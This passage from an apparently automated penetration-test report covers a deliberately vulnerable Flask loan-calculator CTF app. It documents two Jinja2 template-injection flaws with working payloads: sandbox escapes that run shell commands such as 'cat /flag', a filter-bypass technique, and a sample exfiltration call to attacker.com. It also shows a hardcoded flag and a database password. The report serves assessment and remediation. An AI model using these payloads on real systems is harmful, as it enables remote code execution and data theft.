- `/Users/khaushik/keygraph/pentest/shannon/repos/XBEN-023-24/app/website/app/__init__.py` - Flask app initialization, secret key, database URI, test user creation
- `/Users/khaushik/keygraph/pentest/shannon/repos/XBEN-023-24/app/website/app/routes.py` - All endpoint handlers including login (line 22), logout (line 39), session checks

### API & Routing

- `/Users/khaushik/keygraph/pentest/shannon/repos/XBEN-023-24/app/website/app/routes.py` - All 8 HTTP endpoints, SSTI vulnerabilities (lines 95-119, 122-177)
- `/Users/khaushik/keygraph/pentest/shannon/repos/XBEN-023-24/app/website/ssti_blind_loan_calculator.wsgi` - WSGI application entry point
- `/Users/khaushik/keygraph/pentest/shannon/repos/XBEN-023-24/app/website/run.py` - Flask development server entry point

### Data Models & DB Interaction

- `/Users/khaushik/keygraph/pentest/shannon/repos/XBEN-023-24/app/website/app/models.py` - User model definition, plaintext password field (line 8)
- `/Users/khaushik/keygraph/pentest/shannon/repos/XBEN-023-24/app/website/app/db.py` - SQLAlchemy database instance

### Dependency Manifests

- `/Users/khaushik/keygraph/pentest/shannon/repos/XBEN-023-24/app/website/requirements.txt` - Python dependencies (Flask, SQLAlchemy, PyMySQL)

### Sensitive Data & Secrets Handling

- `/Users/khaushik/keygraph/pentest/shannon/repos/XBEN-023-24/app/website/app/__init__.py` - Hardcoded secret key (line 8), database credentials (line 11)
- `/Users/khaushik/keygraph/pentest/shannon/repos/XBEN-023-24/.env` - FLAG environment variable
- `/Users/khaushik/keygraph/pentest/shannon/repos/XBEN-023-24/mysql/Dockerfile` - MySQL root password (line 3)

### Middleware & Input Validation

- `/Users/khaushik/keygraph/pentest/shannon/repos/XBEN-023-24/app/website/app/routes.py` - Response header middleware (lines 8-14), weak blacklist filter (lines 128-129)

### Logging & Monitoring

- `/Users/khaushik/keygraph/pentest/shannon/repos/XBEN-023-24/app/ssti_blind_loan_calculator-httpd.conf` - Apache log configuration (lines 3-5)

### Infrastructure & Deployment

- `/Users/khaushik/keygraph/pentest/shannon/repos/XBEN-023-24/app/Dockerfile` - Application container build, flag file creation (lines 20-21)
- `/Users/khaushik/keygraph/pentest/shannon/repos/XBEN-023-24/mysql/Dockerfile` - Database container build
- `/Users/khaushik/keygraph/pentest/shannon/repos/XBEN-023-24/docker-compose.yml` - Service orchestration

### CTF Flag Storage

- `/Users/khaushik/keygraph/pentest/shannon/repos/XBEN-023-24/app/Dockerfile` - Lines 20-21: `ARG FLAG` and `RUN echo -n $FLAG > /flag`
- `/Users/khaushik/keygraph/pentest/shannon/repos/XBEN-023-24/.env` - Line 1: `FLAG="flag{90f2407f-0723-4fa1-a104-d5d8450bcded}"`
- `/Users/khaushik/keygraph/pentest/shannon/repos/XBEN-023-24/docker-compose.yml` - Line 16: Build argument passing FLAG to container
- **Container Filesystem:** `/flag` - Flag file location inside running application container

### Templates (Jinja2)

- `/Users/khaushik/keygraph/pentest/shannon/repos/XBEN-023-24/app/website/app/templates/login.html` - Login form (no CSRF token)
- `/Users/khaushik/keygraph/pentest/shannon/repos/XBEN-023-24/app/website/app/templates/home.html` - User dashboard
- `/Users/khaushik/keygraph/pentest/shannon/repos/XBEN-023-24/app/website/app/templates/profile.html` - Profile update form (no CSRF token)
- `/Users/khaushik/keygraph/pentest/shannon/repos/XBEN-023-24/app/website/app/templates/loan_details.html` - Loan details with iframe loader (lines 50-56)

### Static Assets

- `/Users/khaushik/keygraph/pentest/shannon/repos/XBEN-023-24/app/website/app/static/css/bootstrap.min.css` - Bootstrap framework CSS
- `/Users/khaushik/keygraph/pentest/shannon/repos/XBEN-023-24/app/website/app/static/css/style.css` - Custom CSS
- `/Users/khaushik/keygraph/pentest/shannon/repos/XBEN-023-24/app/website/app/static/js/jquery.min.js` - jQuery 3.6.0
- `/Users/khaushik/keygraph/pentest/shannon/repos/XBEN-023-24/app/website/app/static/js/bootstrap.bundle.min.js` - Bootstrap JavaScript bundle

---

## 9. XSS Sinks and Render Contexts

### Server-Side Template Injection (SSTI) - Critical Vulnerabilities

This section documents **Server-Side Template Injection (SSTI) vulnerabilities**, which are classified as injection vulnerabilities rather than traditional client-side XSS, but achieve similar impact by enabling arbitrary code execution in server context that can generate XSS payloads.

#### SSTI Sink #1: /total_loan_payments Endpoint (CRITICAL)

- **File Path:** `/Users/khaushik/keygraph/pentest/shannon/repos/XBEN-023-24/app/website/app/routes.py`
- **Line Numbers:** 95-119 (vulnerability at line 115)
- **Render Context:** Server-Side Template (Jinja2 template engine)
- **Sink Type:** `render_template_string()` with user-controlled f-string
- **User Input Source:** Query parameter `principal` (line 101: `request.args.get('principal', type=str)`)
- **Authentication Required:** Yes (session-based, line 98)

**Vulnerability Mechanism:**

The endpoint constructs a JSON template string using Python f-string interpolation with user-controlled input, then renders it through Jinja2's `render_template_string()`:

```python
principal = request.args.get('principal', type=str)  # Line 101 - User controlled
payment = request.args.get('payment', type=float)
term = request.args.get('term', type=int)

# Lines 110-112: User input embedded in template via f-string
json_template = f"""
{{ "loan_principal": "{{{{ principal }}}}" ,"monthly_payment": "{{{{ payment }}}}", "loan_term_amount": "{{{{ term }}}}", "total_loan_payments": "{{{{ payment*term }}}}" }}
"""

# Line 115: Vulnerable render call
return render_template_string(json_template, principal=principal, payment=payment, term=term, content_type='application/json')
```

**Why This Is Vulnerable:**

The f-string interpolation happens **before** Jinja2 template processing. An attacker can inject Jinja2 template directives directly into the template structure by manipulating the `principal` parameter. While the parameter is later passed to `render_template_string()` as a template variable, the template structure itself has already been modified by the f-string injection.

**Example Attack Payloads:**

1. **Proof of Concept (Arithmetic Execution):**
   ```
   /total_loan_payments?principal={{7*7}}&payment=100&term=12
   ```
   Expected result: `"loan_principal": "49"` (template evaluates 7*7)

2. **Configuration Disclosure:**
   ```
   /total_loan_payments?principal={{config}}&payment=100&term=12
   ```
   Leaks Flask configuration including SECRET_KEY

3. **Flag File Retrieval (CTF Objective):**
   ```
   /total_loan_payments?principal={{request.application.__globals__.__builtins__.__import__('os').popen('cat /flag').read()}}&payment=100&term=12
   ```
   Reads the flag file from `/flag`

4. **Remote Code Execution:**
   ```
   /total_loan_payments?principal={{request.application.__globals__.__builtins__.__import__('os').popen('whoami').read()}}&payment=100&term=12
   ```
   Executes `whoami` command, returns the user (likely root)

**Exploitability:** HIGH
- Requires authentication (but test credentials are `test:test`)
- No input validation or sanitization
- Direct template code execution
- Full Jinja2 sandbox escape capabilities via `__globals__` access

**Protection Mechanisms:** None
- No input validation on `principal` parameter
- No template escaping (bypassed by f-string injection)
- No Jinja2 sandbox mode
- Auto-escaping ineffective (injection happens at template structure level, not variable level)

---

#### SSTI Sink #2: /amortization Endpoint (CRITICAL + MISSING AUTHENTICATION)

- **File Path:** `/Users/khaushik/keygraph/pentest/shannon/repos/XBEN-023-24/app/website/app/routes.py`
- **Line Numbers:** 122-177 (vulnerability at line 163, render at line 177)
- **Render Context:** Server-Side Template (Jinja2 template engine)
- **Sink Type:** `render_template_string()` with user-controlled f-string
- **User Input Source:** Query parameter `term` (line 125: `request.args.get('term', type=str)`)
- **Authentication Required:** **NO** (missing session check - authentication bypass)

**Vulnerability Mechanism:**

The endpoint constructs an HTML template using f-string interpolation with the user-controlled `term` parameter, then renders it through Jinja2. A weak blacklist filter attempts to block common template injection characters but is bypassable:

```python
term = request.args.get('term', type=str)  # Line 125 - User controlled

# Lines 128-129: Weak blacklist filter
if "{" in term or "}" in term or "%" in term:
    return Response('GET parameter `term` contains forbidden characters.', status=400)

# Lines 133-175: HTML template with f-string injection
table_template = f"""
<!DOCTYPE html>
<html lang="en">
...
<tbody>
    {{% for row in range({term}) %}}  <!-- Line 163 - Direct injection point -->
        <tr>
            <td>{{{{ row+1 }}}}</td>
            <td>N/A</td>
            <td>N/A</td>
        </tr>
    {{% endfor %}}
</tbody>
...
"""

# Line 177: Vulnerable render call
return render_template_string(table_template)
```

**Why This Is Vulnerable:**

Despite the blacklist filter blocking `{`, `}`, and `%` characters, the injection point is within a `range()` function call. An attacker can break out of the `range()` context by injecting Python code that closes the range call, injects template directives, and opens a new range call:

**Blacklist Bypass Technique:**

The injection payload `5) }}{{PAYLOAD}}{{ range(1` works as follows:
1. `5)` closes the `range({term})` call → becomes `range(5)`
2. `}}` closes the Jinja2 `{% for %}` tag
3. `{{PAYLOAD}}` injects arbitrary Jinja2 expression
4. `{{ range(1` opens a new expression (syntactically invalid but template already processed malicious part)

**Example Attack Payloads:**

1. **Blacklist Bypass Proof of Concept:**
   ```
   /amortization?term=5) }}{{7*7}}{{ range(1
   ```
   Template becomes: `{% for row in range(5) %}{{7*7}}{{ range(1) %}`
   Evaluates `7*7` resulting in `49` appearing in HTML

2. **Flag File Retrieval:**
   ```
   /amortization?term=5) }}{{request.application.__globals__.__builtins__.__import__('os').popen('cat /flag').read()}}{{ range(1
   ```

3. **Configuration Disclosure:**
   ```
   /amortization?term=5) }}{{config}}{{ range(1
   ```

4. **Remote Code Execution:**
   ```
   /amortization?term=5) }}{{request.application.__globals__.__builtins__.__import__('os').system('whoami')}}{{ range(1
   ```

**Exploitability:** MEDIUM-HIGH
- **Does NOT require authentication** (missing session check at line 122 - critical oversight)
- Weak blacklist filter is bypassable
- Unauthenticated attacker can achieve RCE
- More complex payload syntax than `/total_loan_payments` but still exploitable

**Protection Mechanisms:** Weak blacklist only
- Blocks `{`, `}`, `%` characters (line 128)
- Bypassable via syntax manipulation (closing parentheses, breaking out of range() context)
- No whitelist validation
- No session authentication check (should validate `session.get('user_id')` like other endpoints)

---

### Client-Side XSS Analysis

After comprehensive analysis of all HTML templates, JavaScript files, and client-side code, **no client-side XSS sinks were identified** in network-accessible components.

#### HTML Body Context - No Vulnerabilities Found

**Analyzed Sinks:** innerHTML, outerHTML, document.write, document.writeln, insertAdjacentHTML, jQuery DOM manipulation

**Finding:** No dangerous DOM manipulation sinks exist in the application code. All HTML content is generated server-side through Jinja2 templates with auto-escaping enabled.

**Code Review:**
- **Templates:** All four templates (login.html, home.html, profile.html, loan_details.html) use only Jinja2 templating syntax (`{{ variable }}`) which is auto-escaped by default
- **JavaScript Files:** jQuery 3.6.0 and Bootstrap bundle are minified libraries with no custom JavaScript performing DOM manipulation
- **Static Analysis:** Searched for innerHTML, outerHTML, document.write patterns - none found in custom code

#### JavaScript Context - No Vulnerabilities Found

**Analyzed Sinks:** eval(), Function() constructor, setTimeout/setInterval with string arguments

**Finding:** No JavaScript code execution sinks exist in custom application code.

**Code Review:**
- No `eval()` calls in custom JavaScript
- No `Function()` constructor usage
- No `setTimeout(userInput)` or `setInterval(userInput)` patterns
- Minified libraries (jQuery, Bootstrap) contain internal eval usage, but with no user input pathways

#### HTML Attribute Context - No Vulnerabilities Found

**Analyzed Sinks:** Event handlers (onclick, onerror, onload, etc.), URL attributes (href, src), style attribute

**Finding:** No inline event handlers or user-controlled attributes exist.

**Code Review:**
- All event handling uses jQuery `.click()` binding (loan_details.html line 52)
- No onclick, onerror, or other inline event handlers in HTML
- No user data reflected into href or src attributes
- The iframe src in loan_details.html uses server-side templating: `src='/amortization?term={{ loan_term_months }}'` (safe from client-side XSS, triggers server-side SSTI)

#### URL Context - No Vulnerabilities Found

**Analyzed Sinks:** location.href, window.open, history.pushState/replaceState

**Finding:** No client-side URL manipulation sinks exist.

**Code Review:**
- All navigation is server-side via Flask `redirect()` calls
- No JavaScript code modifies `location.href` or uses `window.open()`
- iframe src is set via jQuery `.attr()` but with server-side templated value

#### CSS Context - No Vulnerabilities Found

**Analyzed Sinks:** element.style property manipulation, user data in <style> tags

**Finding:** No CSS injection sinks exist.

**Code Review:**
- All styling is via external CSS files (Bootstrap, custom style.css)
- No JavaScript modifies style attributes
- No user data reflected into `<style>` tags

---

### Summary of XSS/Injection Findings

**Critical Vulnerabilities Identified: 2**

1. **Server-Side Template Injection in `/total_loan_payments`**
   - Severity: CRITICAL
   - Impact: Remote Code Execution, flag file retrieval, complete application compromise
   - Authentication: Required (but test credentials available)
   - Exploitability: HIGH (direct injection, no filtering)

2. **Server-Side Template Injection in `/amortization`**
   - Severity: CRITICAL
   - Impact: Unauthenticated Remote Code Execution
   - Authentication: NOT REQUIRED (missing session check)
   - Exploitability: MEDIUM-HIGH (requires blacklist bypass, but well-documented technique)

**Client-Side XSS Vulnerabilities: 0**
- Jinja2 auto-escaping provides effective protection for standard templates
- No dangerous client-side DOM manipulation
- All user output is properly escaped in HTML contexts

**SQL Injection Vulnerabilities: 0**
- SQLAlchemy ORM provides parameterized queries
- No raw SQL or string concatenation in queries

**Recommended Immediate Remediation:**
1. Remove all `render_template_string()` usage
2. Use `render_template()` with pre-defined template files only
3. Never embed user input in template strings via f-strings or string concatenation
4. Implement strict input validation with whitelists (e.g., validate `principal` is numeric, `term` is positive integer)
5. Add missing session authentication check to `/amortization` endpoint

---

## 10. SSRF Sinks

After comprehensive analysis of all Python source code, external dependencies, and network request patterns in the Flask loan calculator application, **no Server-Side Request Forgery (SSRF) vulnerabilities were identified in network-accessible components**.

### Analysis Scope and Methodology

**Files Analyzed:**
- All Python source files in `/Users/khaushik/keygraph/pentest/shannon/repos/XBEN-023-24/app/website/app/`
- Dependency manifest: `requirements.txt`
- Docker configuration and external service integrations
- All route handlers in `routes.py`

**Dependencies Reviewed:**
```
flask==3.0.3
flask-sqlalchemy==3.1.1
pymysql==1.1.0
```

**Finding:** No HTTP client libraries (requests, urllib, httplib) are imported or used in the application code.

---

### HTTP(S) Clients - No Sinks Found

**Searched Patterns:**
- Python requests library: `import requests`, `requests.get()`, `requests.post()`
- urllib/urllib2/urllib3: `import urllib`, `urllib.request.urlopen()`
- httplib/http.client: `import httplib`, `http.client.HTTPConnection()`
- Third-party HTTP clients: `httpx`, `aiohttp`, `pycurl`

**Finding:** The application makes **zero outbound HTTP requests**. No HTTP client libraries are imported or used anywhere in the codebase. The application's network activity is limited to:
1. Receiving inbound HTTP requests on port 80
2. Database communication to MySQL on port 3306 (internal Docker network)

---

### Raw Sockets - No Sinks Found

**Searched Patterns:**
- `import socket`
- `socket.socket()`, `socket.connect()`
- `socket.create_connection()`

**Finding:** No raw socket usage detected. The application does not create network connections beyond the ORM's database connection (managed by PyMySQL).

---

### URL Openers & File Includes - No Sinks Found

**Searched Patterns:**
- `urllib.urlopen()`, `urllib.request.urlopen()`
- `open()` with URL schemes (http://, ftp://, file://)
- `file_get_contents` (PHP - not applicable)

**Finding:** File operations are limited to:
- Template file reading (Flask's internal `render_template()` mechanism)
- Static file serving (Apache handles this, no Python file operations)
- No user-controlled file paths in any file operation

---

### Redirect Handlers - Safe Implementation

**Analysis:** All redirect operations in the application use Flask's `url_for()` function with hardcoded route names:

**File:** `/Users/khaushik/keygraph/pentest/shannon/repos/XBEN-023-24/app/website/app/routes.py`

**Redirect Locations:**
- Line 19: `return redirect(url_for('login'))` - Root redirect to login
- Line 32: `return redirect(url_for('home'))` - Successful login redirect
- Line 43: `return redirect(url_for('login'))` - Logout redirect
- Line 55: `return redirect(url_for('login'))` - Unauthorized home access
- Line 73: `return redirect(url_for('home'))` - Profile update success
- Line 79: `return redirect(url_for('login'))` - Unauthorized profile access
- Line 92: `return redirect(url_for('login'))` - Unauthorized loan details access
- Line 119: `return redirect(url_for('login'))` - Unauthorized payment calculation access

**Security Assessment:** All redirects use internal route names with no user input. No open redirect vulnerabilities exist. The pattern `redirect(url_for('hardcoded_route_name'))` is safe as it generates application-internal URLs.

**No SSRF Risk:** Flask's `redirect()` generates HTTP 302 responses with Location headers pointing to the application itself. No server-side request is initiated—the redirect is a client-side instruction.

---

### Headless Browsers - No Sinks Found

**Searched Patterns:**
- Selenium: `from selenium import webdriver`
- Puppeteer: (Node.js library - not applicable to Python app)
- Playwright: `from playwright.sync_api import sync_playwright`

**Finding:** No headless browser libraries detected. The application does not perform browser automation or URL rendering.

---

### Media Processors - No Sinks Found

**Searched Patterns:**
- ImageMagick: `import wand`, `subprocess` calls to `convert` or `identify`
- FFmpeg: `subprocess` calls to `ffmpeg`
- PDF generators: `pdfkit`, `weasyprint`, `reportlab`

**Finding:** No media processing libraries or subprocess calls detected. The application handles only text data (loan calculations) with no image, video, or document processing.

---

### Link Preview & Unfurlers - No Sinks Found

**Searched Patterns:**
- URL metadata fetching
- oEmbed client implementations
- Social media card generators

**Finding:** No link preview, URL unfurling, or metadata extraction functionality exists. The application does not fetch external content.

---

### Webhook Testers - No Sinks Found

**Searched Patterns:**
- Webhook ping functionality
- Callback verification endpoints
- Outbound HTTP POST to user-provided URLs

**Finding:** No webhook or callback functionality exists. The application does not initiate outbound HTTP requests to external services.

---

### SSO/OIDC Discovery - No Sinks Found

**Searched Patterns:**
- JWKS fetchers: `requests.get(jwks_uri)`
- OpenID Connect discovery: `requests.get(f"{issuer}/.well-known/openid-configuration")`
- OAuth metadata endpoints

**Finding:** The application uses only local database authentication. No SSO, OAuth, OIDC, or SAML integrations exist. No external authentication provider discovery mechanisms are present.

---

### Importers - No Sinks Found

**Searched Patterns:**
- "Import from URL" functionality
- CSV/JSON/XML remote fetchers
- RSS/Atom feed readers

**Finding:** No data import functionality exists. All data entry is through HTML forms writing to the local MySQL database.

---

### Cloud Metadata - No Sinks Found

**Searched Patterns:**
- AWS SDK: `import boto3`
- GCP SDK: `from google.cloud import ...`
- Azure SDK: `from azure.identity import ...`
- Metadata API requests: `requests.get("http://169.254.169.254/...")`

**Finding:** No cloud provider SDK usage. The application is containerized with Docker but does not access cloud instance metadata services. No internal metadata API requests detected.

---

### Subprocess Calls - No Sinks Found

**Searched Patterns:**
- `import subprocess`
- `subprocess.run()`, `subprocess.Popen()`, `subprocess.call()`
- `os.system()`, `os.popen()`, `os.exec*()`

**Finding:** No subprocess execution in the application code. While SSTI vulnerabilities could be exploited to call `os.popen()` (as demonstrated in exploitation examples), there are no legitimate subprocess calls in the application that could constitute SSRF vectors.

**Note:** The only subprocess usage in the environment is Docker Compose healthchecks:
- Application healthcheck: `curl -f http://localhost:80 || exit 1` (docker-compose.yml line 12)
- Database healthcheck: `mysqladmin ping -h localhost -u root -ploan_calculator` (docker-compose.yml line 7)

These are infrastructure-level healthchecks, not application code, and are not user-controllable.

---

### Network-Exposed Endpoints (SSRF Perspective)

All 8 network-accessible endpoints were analyzed for SSRF potential:

1. **`/` (Root)** - Redirect only, no outbound requests
2. **`/login`** - Database query only, no outbound requests
3. **`/logout`** - Session clearing only, no outbound requests
4. **`/home`** - Database query and template rendering, no outbound requests
5. **`/profile`** - Database write and template rendering, no outbound requests
6. **`/loan_details`** - Database query and template rendering, no outbound requests
7. **`/total_loan_payments`** - Calculation and template rendering, **no outbound requests** (despite SSTI vulnerability)
8. **`/amortization`** - Template rendering, **no outbound requests** (despite SSTI vulnerability)

**SSRF Risk Assessment per Endpoint:** NONE for all endpoints in terms of direct SSRF vulnerabilities. However, the SSTI vulnerabilities in endpoints 7 and 8 could be leveraged to create SSRF capabilities through code execution:

**Theoretical SSRF via SSTI Exploitation:**

While the application code contains no SSRF sinks, an attacker exploiting the SSTI vulnerabilities could inject code that performs SSRF attacks:

```python
# Example SSTI payload that creates SSRF capability
{{request.application.__globals__.__builtins__.__import__('urllib.request').urlopen('http://attacker.com/exfiltrate?data=stolen')}}
```

This is **not a traditional SSRF vulnerability** (no legitimate application functionality makes outbound requests), but rather **SSRF as a consequence of RCE via SSTI**. The distinction is important:
- **Traditional SSRF:** Application legitimately fetches URLs, attacker controls the URL
- **SSTI-enabled SSRF:** Application has RCE vulnerability, attacker injects code to make requests

---

### Conclusion

**SSRF Vulnerability Assessment: NONE (in traditional sense)**

The Flask loan calculator application architecture inherently prevents SSRF vulnerabilities because:
1. No HTTP client libraries are imported or used
2. No outbound network requests are made in any application code path
3. No URL fetching, webhook calling, or external API integration exists
4. All redirects use internal routes only
5. The application's functionality is entirely self-contained (database operations and template rendering)

**Security Implications:**

The absence of SSRF vulnerabilities is a positive finding, but it does not mitigate the critical SSTI vulnerabilities identified in Section 9. An attacker exploiting SSTI can achieve Remote Code Execution and then leverage that access to:
- Make arbitrary HTTP requests by importing urllib/requests in Jinja2 templates
- Access cloud metadata services (if deployed in cloud environments)
- Perform internal network reconnaissance
- Exfiltrate the flag file or other sensitive data to external servers

**Recommendation:** While no direct SSRF remediation is required, the SSTI vulnerabilities must be eliminated to prevent attackers from creating SSRF capabilities through code execution.

## Authenticated Scans

### SCHEMATHESIS
Status: skipped
No API schemas found

---
Report generated at: 2025-10-31T13:06:45.418Z